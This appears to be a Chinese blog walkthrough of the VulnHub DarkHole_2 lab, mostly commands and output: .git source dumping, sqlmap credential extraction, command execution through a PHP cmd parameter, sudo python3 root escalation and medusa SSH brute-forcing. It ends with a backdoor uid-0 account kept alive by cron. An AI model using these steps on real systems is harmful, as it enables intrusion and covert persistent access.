靶机练习-----VulnHub-DarkHole_2 靶机详细渗透过程

1. 靶机部署

靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip

得到六个文件,使用虚拟机导入DarkHole_2.ovf文件
导入成功,打开虚拟机,到此虚拟机部署完成!返回到kali。

注意---靶机和kali的网络连接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。

2. 信息收集

2.1 探测IP

使用nmap扫描同一个段下存活的IP

nmap 192.168.206.0/24

┌──(root㉿kali201)-[~]
└─# nmap 192.168.206.0/24 

扫描的结果我们可以看到

Nmap scan report for 192.168.206.3
Host is up (0.00099s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:9E:13:0D (VMware)

查看网址

2.2 详细信息扫描

使用nmap对靶机开放的端口进行更详细的扫描:

nmap -A -T4 -p- 192.168.206.3

点击查看代码
┌──(root㉿kali201)-[~]
└─# nmap -A -T4 -p- 192.168.206.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 21:28 CST
Nmap scan report for 192.168.206.3
Host is up (0.00061s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
|   256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_  256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2
| http-git: 
|   192.168.206.3:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: i changed login.php file for more secure 
MAC Address: 00:0C:29:9E:13:0D (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT     ADDRESS
1   0.61 ms 192.168.206.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds

2.3 敏感目录

这里用的网站扫描工具是dirsearch,安装此工具

sudo apt-get install dirsearch #安装此工具

dirsearch -u 192.168.206.3 -e *

扫描结果中我们发现有很多 .git 相关页面,我们应该考虑一个漏洞 git 源码泄露。

什么是git?

git 是一个版本控制工具,针对修改文件后进行的记录,方便后续历史记录的查找,你可以看到多个版本之间的差别。
当我们第一次运行.git工具时,它会自动在目录中生成个.git文件夹,里边有固定目录,记录着每个版本的差别和修改日期等相关信息。

2.4 指纹收集

whatweb -v 192.168.206.3

3.渗透过程

3.1 访问敏感目录

扫描敏感目录的时候扫出一个.git目录,访问一下发现确实有东西,那猜测一下这里会不会存在

3.2 git泄露,使用git-dumper分析git文件

使用pip3安装

pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper

使用git-dumper下载git文件夹内容到backup文件夹:

git-dumper http://192.168.11.154/.git/ backup

切换到backup文件夹,查看日志

git log 命令:如果不带任何参数,它会列出所有历史记录,最近的排在最上方,显示提交对象的哈希值,作者、提交日期、和提交说明。如果记录过多,则按Page Up、Page Down、↓、↑来控制显示;按q退出历史记录列表。

git log 查看日志

我们可以看到有三次提交,还有提交的哈希值,作者,时间等等,那么历史版本之间就有可能存在漏洞。

┌──(root㉿kali201)-[/home/tools/backup]
└─# git log                                          
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:14:32 2021 +0300

    i changed login.php file for more secure

commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:02:44 2021 +0300

    First Initialize

git diff

使用git diff对比三次版本,可以获取本次你在什么地方修改了代码。
三个哈希值一个一个试,得到了一组信息

lush@admin.com #用户名
321 #密码

登录网站,使用刚刚获取到的账号密码进行尝试,成功登录。

4. SQL注入漏洞

进到页面之后发现url有id=1的参数值,这里可以试一试SQL注入漏洞,用sqlmap测试一下。

4.1 获取当前用户的Cookie

4.2 利用cookie进行sql注入,爆破当前数据库

使用 sqlmap 可以自动检测SQL漏洞,获取数据库信息。
sqlmap详解
https://blog.csdn.net/qq_45719090/article/details/129241110
以下是此次用到的参数信息:
-u 网站信息
--current-db 当前的数据库名
--dbs 查看数据库
--batch 遇到选项全选yes
--tables 数据库中的表
-D 对应的数据库库名
-T 对应的数据可表名
-C 对应的数据库字段名
--dump 导出数据库

sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq --current-db

这样呢我们就得到了一个数据库名

4.3 获取数据库darkhole_2的表名

从上边得知 current database: "darkhole_2"

sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq -D darkhole_2 --tables --batch

得到两个表:

ssh
users

4.4 获取敏感信息

sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq -D darkhole_2 -T ssh -dump

获取到用户和密码

用户 jehad
密码 fool

4.5 知道ssh的用户名和密码之后,我们可以尝试ssh连接.

5. 提权

5.1 查看信息

id 查看权限

jehad@darkhole:~$ id
uid=1001(jehad) gid=1001(jehad) groups=1001(jehad)

发现我们并不是0用户(root)

cat /etc/passwd 查看账号

点击查看代码
jehad@darkhole:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lama:x:1000:1000:darkhole:/home/lama:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
jehad:x:1001:1001:,,,:/home/jehad:/bin/bash
losy:x:1002:1002:,,,:/home/losy:/bin/bash

1000以内是系统内部账号,1000以外是用户账号。
发现4个账户,root,lama,jehad,losy

lsat 查看用户登录历史信息

点击查看代码
jehad@darkhole:~$ last
jehad    pts/1        192.168.206.3    Mon Jul  8 15:38   still logged in
jehad    pts/0        192.168.206.201  Mon Jul  8 15:18   still logged in
losy     pts/3        192.168.206.3    Mon Jul  8 07:27 - 09:04  (01:37)
jehad    pts/2        192.168.206.3    Mon Jul  8 07:19 - 09:04  (01:45)
jehad    pts/1        192.168.206.3    Mon Jul  8 07:17 - 09:04  (01:47)
jehad    pts/0        192.168.206.201  Mon Jul  8 07:08 - 09:04  (01:56)
reboot   system boot  5.4.0-81-generic Mon Jul  8 03:39   still running
reboot   system boot  5.4.0-81-generic Mon Jul  8 11:12   still running
lama     tty1                          Fri Sep  3 07:10 - crash (1039+04:01)
reboot   system boot  5.4.0-81-generic Fri Sep  3 07:10   still running
jehad    pts/0        192.168.135.128  Fri Sep  3 05:49 - crash  (01:21)
lama     tty1                          Fri Sep  3 05:48 - crash  (01:21)
reboot   system boot  5.4.0-81-generic Fri Sep  3 05:48   still running
lama     tty1                          Fri Sep  3 05:01 - crash  (00:47)
jehad    pts/0        192.168.135.128  Fri Sep  3 05:00 - crash  (00:47)
reboot   system boot  5.4.0-81-generic Fri Sep  3 04:57   still running
lama     tty1                          Fri Sep  3 04:38 - down   (00:18)
jehad    pts/0        192.168.135.128  Fri Sep  3 04:33 - 04:57  (00:24)
reboot   system boot  5.4.0-81-generic Fri Sep  3 04:29 - 04:57  (00:27)
reboot   system boot  5.4.0-81-generic Fri Sep  3 04:21 - 04:57  (00:35)
lama     tty1                          Fri Sep  3 04:17 - down   (00:03)
jehad    pts/0        192.168.135.128  Fri Sep  3 04:16 - 04:21  (00:04)
reboot   system boot  5.4.0-81-generic Fri Sep  3 04:15 - 04:21  (00:05)
losy     pts/0        192.168.135.128  Fri Sep  3 04:09 - 04:15  (00:05)
lama     tty1                          Fri Sep  3 04:00 - down   (00:15)
jehad    pts/0        192.168.135.128  Fri Sep  3 03:58 - 04:09  (00:11)
reboot   system boot  5.4.0-81-generic Fri Sep  3 03:57 - 04:15  (00:17)
jehad    pts/2        192.168.135.129  Fri Sep  3 03:48 - 03:57  (00:08)
jehad    pts/1        192.168.135.129  Fri Sep  3 03:45 - 03:57  (00:11)
lama     tty1                          Fri Sep  3 02:56 - down   (01:01)
jehad    pts/0        192.168.135.128  Fri Sep  3 02:50 - 03:57  (01:06)
reboot   system boot  5.4.0-81-generic Fri Sep  3 02:48 - 03:57  (01:08)
jehad    pts/0        192.168.135.128  Fri Sep  3 01:57 - 02:48  (00:50)
lama     tty1                          Fri Sep  3 01:54 - down   (00:53)
reboot   system boot  5.4.0-81-generic Fri Sep  3 01:53 - 02:48  (00:54)
lama     tty2                          Thu Sep  2 20:23 - crash  (05:30)
jehad    pts/0        192.168.135.128  Thu Sep  2 19:46 - crash  (06:06)
losy     pts/1        192.168.135.128  Thu Sep  2 17:34 - 17:35  (00:00)
losy     pts/1        192.168.135.128  Thu Sep  2 17:33 - 17:34  (00:01)
losy     pts/1        192.168.135.128  Thu Sep  2 17:29 - 17:29  (00:00)
losy     pts/1        192.168.135.128  Thu Sep  2 17:25 - 17:26  (00:00)
losy     pts/1        192.168.135.128  Thu Sep  2 17:24 - 17:24  (00:00)
losy     pts/1        192.168.135.128  Thu Sep  2 17:19 - 17:19  (00:00)
losy     pts/1        192.168.135.128  Thu Sep  2 17:19 - 17:19  (00:00)
losy     pts/1        192.168.135.128  Thu Sep  2 17:19 - 17:19  (00:00)
losy     pts/1        192.168.135.128  Thu Sep  2 17:14 - 17:14  (00:00)
jehad    pts/0        192.168.135.128  Thu Sep  2 16:36 - 18:57  (02:20)
lama     tty1                          Thu Sep  2 15:54 - crash  (09:59)
reboot   system boot  5.4.0-81-generic Thu Sep  2 15:53 - 02:48  (10:55)
lama     tty1                          Thu Sep  2 15:31 - down   (00:21)
reboot   system boot  5.4.0-81-generic Thu Sep  2 15:31 - 15:53  (00:22)
lama     tty1                          Wed Sep  1 23:55 - crash  (15:35)
reboot   system boot  5.4.0-65-generic Thu Sep  2 02:28 - 15:53  (13:24)

wtmp begins Thu Sep  2 02:28:56 2021

sudo -l 列出当前用户可执行的命令

jehad@darkhole:~$ sudo -l
[sudo] password for jehad: 
Sorry, user jehad may not run sudo on darkhole.

cat .bash_history #查看历史命令记录

发现本地有9999端口的服务.

systemctl list-units --type=service --state=running #列出所有启动的系统服务

5.2 查看活动端口

netstat -lntp #查看所有监听端口

jehad@darkhole:~$ netstat -lntp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:9999                :::*                    LISTEN      35445/ssh           
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -       

netstat -antp #查看所有已经建立的连接


如图所示: 可以看到 127.0.0.1:9999 端口存在活动。

查看一下本地服务的内容

curl "http://127.0.0.1:9999/?cmd=id"

6. 计划任务提权

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。
计划任务提权的基本思路:
第一种,我们可以观察是否存在高危险的命令和运行程序,看看是否能提权。
第二种,查看是否可以通过普通用户修改里边的内容,改为ROOT运行的程序。

6.1 查看定时任务

cat /etc/crontab #查看定时任务

我们可以看到一条有疑信息

losy cd /opt/web && php -S localhost:9999
定时任务由用户losy执行,在本地开启9999端口,接收并执行命令。

vi /etc/crontab #编辑文件
发现并不能修改

6.2 查看目录中信息

cd /opt/web

jehad@darkhole:/$ cd /opt/web
jehad@darkhole:/opt/web$ ls -a
.  ..  index.php
jehad@darkhole:/opt/web$ cat index.php 
<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>

通过上一步我们发现/opt/web目录下会定时运行HTTP服务,查看该目录下的index,发现里面是一个命令执行代码。
又因为该页面运行的权限是losy用户,所以可以使用losy用户的权限,执行系统命令

echo "Parameter GET['cmd']"; #输出内容到页面
if(isset($_GET['cmd'])){ #判断是否存在cmd参数传递的值
echo system($_GET['cmd']); #执行传递过来的命令

7. 获取losy的权限

定时任务由用户losy执行,在本地开启9999端口,接收并执行命令。访问本地的9999端口,发现cmd命令传递了进来,并显示出来。

jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999
Parameter GET['cmd']jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999?cmd=id
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999?cmd=whoami
Parameter GET['cmd']losy

查看历史记录,发现没有。去找家目录。

jehad@darkhole:~$ curl http://127.0.0.1:9999?
Parameter GET['cmd']jehad@darkhole:~$ curl http://127.0.0.1:9999?cmd=history
Parameter GET['cmd']jehad@darkhole:~$ ls
jehad@darkhole:~$ 

去找家目录,然后通过系统命令访问,能看到历史记录。

curl是一个命令行访问URL的工具,作用是发出网络请求,然后得到和提取数据,显示在"标准输出"(stdout)上面。可以用它构造http request报文,且可以解析服务器返回的http response,额外还支持cookie特性,可以用curl完成web浏览器的基本功能。

jehad@darkhole:~$ curl "http://127.0.0.1:9999/?cmd=id"
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)jehad@darkhole:~$ 

由上边可以看到这个服务是 losy 用户的。

点击查看代码
jehad@darkhole:~$ curl http://127.0.0.1:9999?cmd=cat%20/home/losy/.bash_history
Parameter GET['cmd']clear
exit
clear
exit
clear
exit
clear
exit
clear
ls
ls -al
ls -la
clear
exit
clear
exit
clear
exit
clear
cd ~
ls
ls -la
pwd
ssh-keygen -t rsa -b 4096
clear
chmod 777 .ssh/
cd .ssh/
chmod 666 id_rsa
clear
ls -la
clear
cd ..
ls -la
rm .ssh/ 
rm -r .ssh/
clear
ls -la
ssh-kyegen
exit
clear
ls -la
cd /home/losy/
clear
ls -la
rm -r .ssh/
clear
ls -la
pwd
ssh-keygen -t rsa 
ls -la
ssh-keygen -t rsa 
clear
chmod 777 .ssh/
cd .ssh/
chmod 666 id_rsa
php -S localhost:9999
clear
sudo su
su lama
clear
ls -la
cat /etc/crontab 
su lama
mkdir web
ls -la
su lama
ls
touch index.php
cd ..
ls
ls -la
sudo su
c
clear
su lama
clear
su lama
mysql -e '\! /bin/bash'
mysql -u root -p -e '\! /bin/bash'
P0assw0rd losy:gang
clear
sudo -l
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo python -c 'import os; os.system("/bin/sh")'
sudo /usr/bint/python3 -c 'import os; os.system("/bin/sh")'
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
clear
cd ~
cat .bash_history 
clear
id
clear
ls -al
cd home
cd /home
ls
clear
cd jehad/
ls -la
cd ..
cd losy/
cat .bash_history 
clear
ls -la
ss
cat .bash_history 
clear
password:gang 

能看到密码信息: password:gang

登录用户losy,登录成功

8. 得到root账户

发现用户 losy 有 root身份 执行python3的权限,利用Python来提权。

losy@darkhole:~$ sudo -l
Matching Defaults entries for losy on darkhole:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User losy may run the following commands on darkhole:
    (root) /usr/bin/python3

sudo /usr/bin/python3 -c 'import os;os.execl("/bin/sh","sh","-p")'

成功得到root!大功告成。

补充

1. 暴力破解 lama 用户密码

我们发现共有四个用户
其中一个为lama,可以采用暴力破解用户密码,
这里使用medusa工具,得到 lama 用户密码为123

sudo medusa -M ssh -h 192.168.206.3 -u lama -P /usr/mima.txt -t 10 -F

登录lama,成功登陆

sudo -l

sudo 是Linux系统管理指令,是系统管理员允许让普通用户执行一些root命令的工具。
su 是切换用户

我们可以看到有三个ALL,表示他有root的全部权限

第一个ALL,表示从允许从任何终端访问sudo
第二个ALL:ALL,表示sudo命令被允许任意用户,任意组执行

sudo id 发现为最高权限

lama@darkhole:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)

sudo bash #使用系统管理员进入shell

bash 是许多Linux发行版默认的shell,类似于windows的CMD命令,使用bash就是启动一个Shell,从而执行操作系统,
sudo bash 就是使用系统管理员进入shell

我们也可以通过Python执行Bash命令,从而实现启动losy用户的shell。

losy@darkhole:~$ python3
Python 3.8.10 (default, Nov 22 2023, 10:22:35) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> 
>>> os.system("whoami")
losy
0
>>> os.system("id")
uid=1002(losy) gid=1002(losy) groups=1002(losy)
0
>>> exit()\
... 
losy@darkhole:~$ 

>>> 

2. losy用户提权

使用用户losy拿到root权限,我们可以用以下命令

sudo python3 #管理员权限启动python3
import os
os.system("bash")

losy@darkhole:~$ sudo python3
[sudo] password for losy: 
Python 3.8.10 (default, Nov 22 2023, 10:22:35) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> 
>>> os.system("whoami")
root
0
>>> os.system("id")
uid=0(root) gid=0(root) groups=0(root)
0
>>> os.system("bash")
root@darkhole:/home/losy# whoami
root
root@darkhole:/home/losy# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.206.3  netmask 255.255.255.0  broadcast 192.168.206.255
        inet6 fe80::20c:29ff:fe9e:130d  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:9e:13:0d  txqueuelen 1000  (Ethernet)
        RX packets 441241  bytes 311819728 (311.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 258619  bytes 36249989 (36.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 8450  bytes 752185 (752.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8450  bytes 752185 (752.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

到现在我们三个用户账号都成功拿下!

此刻做一个总结:

jehad 没有sudo权限
losy 可以使用sudo执行python命令
lama 可以使用sudo执行任意命令

3. 留后门,以 losy 用户为例,特权创建账号,如此可以可以偷偷随时进入系统拜访。

在 linux 系统中,存在两个文件
/etc/passwd #存放用户名,任何权限用户都能查看

点击查看代码
losy@darkhole:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lama:x:1000:1000:darkhole:/home/lama:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
jehad:x:1001:1001:,,,:/home/jehad:/bin/bash
losy:x:1002:1002:,,,:/home/losy:/bin/bash

/etc/shadow #存放加密后的密码,且只能用 root 账户查看
格式如下:
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell

losy@darkhole:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied

点击查看代码
losy@darkhole:~$ sudo python3
[sudo] password for losy: 
Python 3.8.10 (default, Nov 22 2023, 10:22:35) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> cat /etc/passwd
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'cat' is not defined
>>> 
>>> import os
>>> 
>>> os.system("cat /etc/passwd")
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lama:x:1000:1000:darkhole:/home/lama:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
jehad:x:1001:1001:,,,:/home/jehad:/bin/bash
losy:x:1002:1002:,,,:/home/losy:/bin/bash
0
>>> 

创建 ocean 特权用户

losy@darkhole:~$ sudo python3
[sudo] password for losy: 
Python 3.8.10 (default, Nov 22 2023, 10:22:35) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> cat /etc/passwd
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'cat' is not defined
>>> 
>>> import os
>>> os.system("useradd -p `openssl passwd -1 -salt 'salt' 123456` ocean -o -u 0 -g root -G root -s /bin/bash -d /home/ocean")
ocean:x:0:0::/home/ocean:/bin/bash

创建成功,登录ocean用户
发现ssh ocean@192.168.206.3 登录不了

┌──(root㉿kali201)-[/usr]
└─# ssh ocean@192.168.206.3                                          
ocean@192.168.206.3's password: 
Permission denied, please try again.
ocean@192.168.206.3's password: 
Permission denied, please try again.
ocean@192.168.206.3's password: 
ocean@192.168.206.3: Permission denied (publickey,password).

但是可以在其他用户中切换为 ocean 用户

可以看到,ocean 用户默认显示为了 root。

losy@darkhole:~$ sudo python3
[sudo] password for losy: 
Python 3.8.10 (default, Nov 22 2023, 10:22:35) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> os.system("su ocean")
root@darkhole:/home/losy# whoami
root
root@darkhole:/home/losy# id
uid=0(root) gid=0(root) groups=0(root)
root@darkhole:/home/losy# 

如何害怕 ocean 用户发现被删,可以将此命令写入计划任务中,可以定时去执行这条命令。

posted @ 2024-07-09 22:40  nebulapioneer  阅读(57)  评论(0编辑  收藏  举报